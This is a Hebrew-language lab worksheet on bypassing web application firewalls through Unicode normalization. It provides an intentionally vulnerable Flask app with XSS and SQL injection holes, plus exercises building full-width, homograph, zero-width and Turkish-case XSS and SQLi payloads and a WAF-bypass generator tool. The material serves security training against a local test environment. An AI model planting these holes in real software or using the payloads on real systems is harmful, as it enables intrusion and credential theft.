לדלג לתוכן

נורמליזציית Unicode - תרגיל

הכנה

# הקמת סביבת בדיקה
# אפליקציית Flask שמבצעת NFKC normalization לפני עיבוד
# vulnerable_app.py
from flask import Flask, request
import unicodedata

app = Flask(__name__)

@app.route('/search')
def search():
    q = request.args.get('q', '')
    # האפליקציה מנרמלת NFKC לפני הצגה
    normalized = unicodedata.normalize('NFKC', q)
    return f"<html><body>Results for: {normalized}</body></html>"

@app.route('/api/query')
def query():
    q = request.args.get('q', '')
    normalized = unicodedata.normalize('NFKC', q)
    # הזרקה ישירה ל-SQL (לצורך תרגול)
    sql = f"SELECT * FROM items WHERE name = '{normalized}'"
    return f"Query: {sql}"

if __name__ == '__main__':
    app.run(port=5000)

שימו לב: הריצו את האפליקציה מאחורי WAF (כגון ModSecurity) לצורך התרגיל.


תרגיל 1 - מיפוי תווי Unicode חלופיים

משימה:

כתבו סקריפט Python שמוצא תווי Unicode שמתנרמלים לתווים רגישים:

import unicodedata

def find_alternatives(target_char):
    """מציאת כל תווי Unicode שמתנרמלים (NFKC) לתו מסוים"""
    alternatives = []
    # השלימו: עברו על טווח Unicode ומצאו תווים שאחרי NFKC הופכים ל-target_char
    for codepoint in range(0x0080, 0x10000):
        # ...
        pass
    return alternatives

# מצאו חלופות עבור:
targets = ['<', '>', "'", '"', '/', '(', ')', ' ', '=', ';']
for t in targets:
    alts = find_alternatives(t)
    print(f"'{t}' -> {len(alts)} חלופות: {alts[:5]}")
  1. מצאו לפחות 3 חלופות לכל תו ברשימה
  2. לכל חלופה, ציינו את שם התו ב-Unicode (השתמשו ב-unicodedata.name())
  3. סמנו אילו חלופות עוברות גם נורמליזציית NFC (לא רק NFKC)

תרגיל 2 - מטעני XSS עם Full-width

משימה:

  1. בנו מטען XSS שמשתמש רק בתווים ברוחב מלא (full-width) עבור תווים מיוחדים:
  2. המטען: <img src=x onerror=alert(1)>
  3. החליפו את <, >, (, ), = בגרסאות full-width

  4. שלחו את המטען לאפליקציית הבדיקה וודאו ש:

  5. ה-WAF לא חוסם
  6. האפליקציה מנרמלת והמטען מתבצע

  7. בנו מטען חלקי - החליפו רק תו אחד ובדקו מהו המינימום הנדרש לעקיפת ה-WAF


תרגיל 3 - מטעני SQLi עם Unicode

משימה:

  1. בנו מטען SQLi שמנצל תווי Unicode חלופיים:
  2. מטען מקורי: ' UNION SELECT username, password FROM users--
  3. החליפו את הגרש, רווחים, ופסיקים בחלופות Unicode

  4. בדקו אילו צורות נורמליזציה מפענחות את המטען:

    for form in ['NFC', 'NFD', 'NFKC', 'NFKD']:
        result = unicodedata.normalize(form, your_payload)
        print(f"{form}: {result}")
    

  5. מצאו מטען שעובר רק ב-NFKC ולא ב-NFC (כלומר, WAF שעושה NFC לא יתפוס)


תרגיל 4 - התקפות הומוגרף

משימה:

  1. כתבו פונקציה שמייצרת כל הקומבינציות ההומוגרפיות של מילה:

    def homograph_variants(word):
        # מיפוי Latin -> Cyrillic
        latin_to_cyrillic = {
            'a': '\u0430', 'c': '\u0441', 'e': '\u0435',
            'o': '\u043e', 'p': '\u0440', 'x': '\u0445',
            'y': '\u0443', 's': '\u0455',
        }
        # השלימו - יצרו כל הקומבינציות
        pass
    
    variants = homograph_variants("script")
    print(f"מספר וריאנטים: {len(variants)}")
    

  2. בדקו אילו מהווריאנטים של script עוקפים את ה-WAF

  3. בדקו אילו מהם עדיין מתפקדים כתגית HTML בדפדפן

תרגיל 5 - תווים בלתי נראים

משימה:

  1. הכניסו תווי zero-width בתוך מילים שה-WAF חוסם:
  2. scr\u200bipt (zero-width space בתוך script)
  3. SEL\u200bECT (zero-width space בתוך SELECT)

  4. בדקו:

  5. האם ה-WAF חוסם את המטען?
  6. האם האפליקציה (אחרי נורמליזציה) מקבלת אותו כתקין?
  7. האם הדפדפן מתעלם מתווים אלו בתוך תגיות HTML?

  8. נסו תווי zero-width נוספים ותעדו את ההתנהגות של כל אחד


תרגיל 6 - בעיית ה-I הטורקי

משימה:

  1. בנו מטען שמנצל את הבעיה הטורקית:

    # WAF ש-lower() על "SELECT" בטורקית נותן "sel\u0131ct" (עם dotless i)
    # ואז ההשוואה ל-"select" נכשלת
    

  2. בנו רשימת מילות מפתח SQL שמושפעות מ-case mapping טורקי

  3. האם I (U+0130, I with dot above) מתנרמל ל-i ב-NFKC?

תרגיל 7 - כלי אוטומטי

משימה:

בנו כלי Python שמקבל מטען ומייצר אוטומטית וריאנטים עם Unicode:

class UnicodeWAFBypass:
    def __init__(self, payload):
        self.payload = payload
        self.variants = []

    def generate_fullwidth(self):
        """יצירת וריאנט full-width"""
        pass

    def generate_homograph(self):
        """יצירת וריאנטים הומוגרפיים"""
        pass

    def generate_zero_width(self):
        """הכנסת תווי zero-width"""
        pass

    def generate_mixed(self):
        """שילוב של כל הטכניקות"""
        pass

    def test_all(self, target_url):
        """בדיקת כל הווריאנטים מול ה-WAF"""
        pass

# שימוש
bypass = UnicodeWAFBypass("<script>alert(1)</script>")
bypass.generate_fullwidth()
bypass.generate_homograph()
bypass.generate_zero_width()
bypass.generate_mixed()
bypass.test_all("http://localhost:5000/search")
  1. השלימו את כל המתודות
  2. הוסיפו מתודה שבודקת אם הווריאנט עדיין תקין (מתנרמל חזרה למטען המקורי)
  3. הריצו מול סביבת הבדיקה ותעדו: כמה ווריאנטים עברו את ה-WAF? אילו טכניקות הכי יעילות?